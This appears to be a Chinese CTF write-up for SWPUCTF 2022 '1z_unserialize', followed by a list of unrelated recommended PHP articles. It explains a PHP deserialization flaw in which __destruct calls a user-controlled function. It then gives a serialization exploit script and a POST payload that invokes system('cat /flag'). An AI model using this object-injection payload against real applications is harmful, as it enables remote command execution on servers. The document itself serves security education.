[SWPUCTF 2022 新生赛]1z_unserialize

题目描述:是很简单的反序列化噢

代码审计看注释

php 复制代码
<?php
 
class lyh{											//定义一个类为lyh
    public $url = 'NSSCTF.com';//公共属性,初始值为NSSCTF.com
    public $lt;									//公共属性,没有初始值
    public $lly;								//公共属性,没有初始值
     
     function  __destruct()	//__destruct()方法是php中的一个魔术方法,当对象被销毁是自动调用
     {
        $a = $this->lt;					
       //在这个方法中$a被赋值为$this->lt,然后$a($this->lly)被调用,这意味这$this->lt应给是一个
       //可以调用的函数或方法,	而$this-lly是传递给这个函数的参数

        $a($this->lly);
     }
    
    
}
unserialize($_POST['nss']);
//这行代码从POST请求中获取nss参数,并将其反序列化为php对象。反序列操作会将字符串转换回PHP对象
highlight_file(__FILE__);
 
 
?>
  1. 补充大佬的解释
  2. a($this->lly): 将 $this->lly 的值作为参数传递给 $a 所代表的函数。
  3. a = this->lt;a(this->lly);相当于lt(lly):很想命令执行函数+指令
  4. 所以我们可以通过构造一个恶意的序列化对象,将自定义的函数传递给lt属性,然后将要执行的代码(或指向一个恶意代码文件的路径)传递给lly属性。当对象被序列化后在被反序列化是,__destruct方法会被自动调用,从而执行指定的恶意操作。
  5. 只要传参把a变成system();,this-lly变成ls或者cat就是一个简单的命令注入了system("cat /flag");

写出php脚本exp

php 复制代码
<?php
class lyh{
   public $url = 'NSSCTF.com';
   public $lt = "system";
   public $lly = "cat /flag";
}

$sss = new lyh();
echo serialize($sss);
//O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}

POST传参nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}

相关推荐
niucloud-admin10 小时前
NIUCLOUD PHP SAAS上门家政使用文档:城市管理
java·前端·php
ESDWAN10 小时前
企业网络监控应该监测哪些目标?网关、网络节点还是业务系统?
服务器·网络·php
呆呆虫1211 小时前
用 orjson 加速 SerpBase 响应解析:基准对比与注意事项
开发语言·php
中科三方13 小时前
IPv6检测常见问题:AAAA记录检测不通过是什么原因?
开发语言·php
云边云科技_云网融合15 小时前
面向汽车零部件制造业场景的解决方案 | 70 秒:一台车下线的时间里,藏着五张网
开发语言·汽车·php
李纲明18 小时前
WordPress 媒体库上传图片失败:先核 PHP 体积与目录权限,再查安全插件与对象存储
php·上传·wordpress·媒体库·devdiy
海域云SeaArea_18 小时前
Windows Server 2008 R2 从零安装 IIS7.5(二):php.ini 配置
开发语言·windows·php
niucloud-admin19 小时前
NIUCLOUD PHP SAAS上门家政使用文档:服务保障
java·开发语言·php
honsor21 小时前
用 Grafana 做温湿度异常检测:从阈值告警到趋势预测
数据库·mysql·php
开源推荐官21 小时前
多门店 O2O 商城选型复盘:从开发视角对比主流开源系统
java·架构·开源·php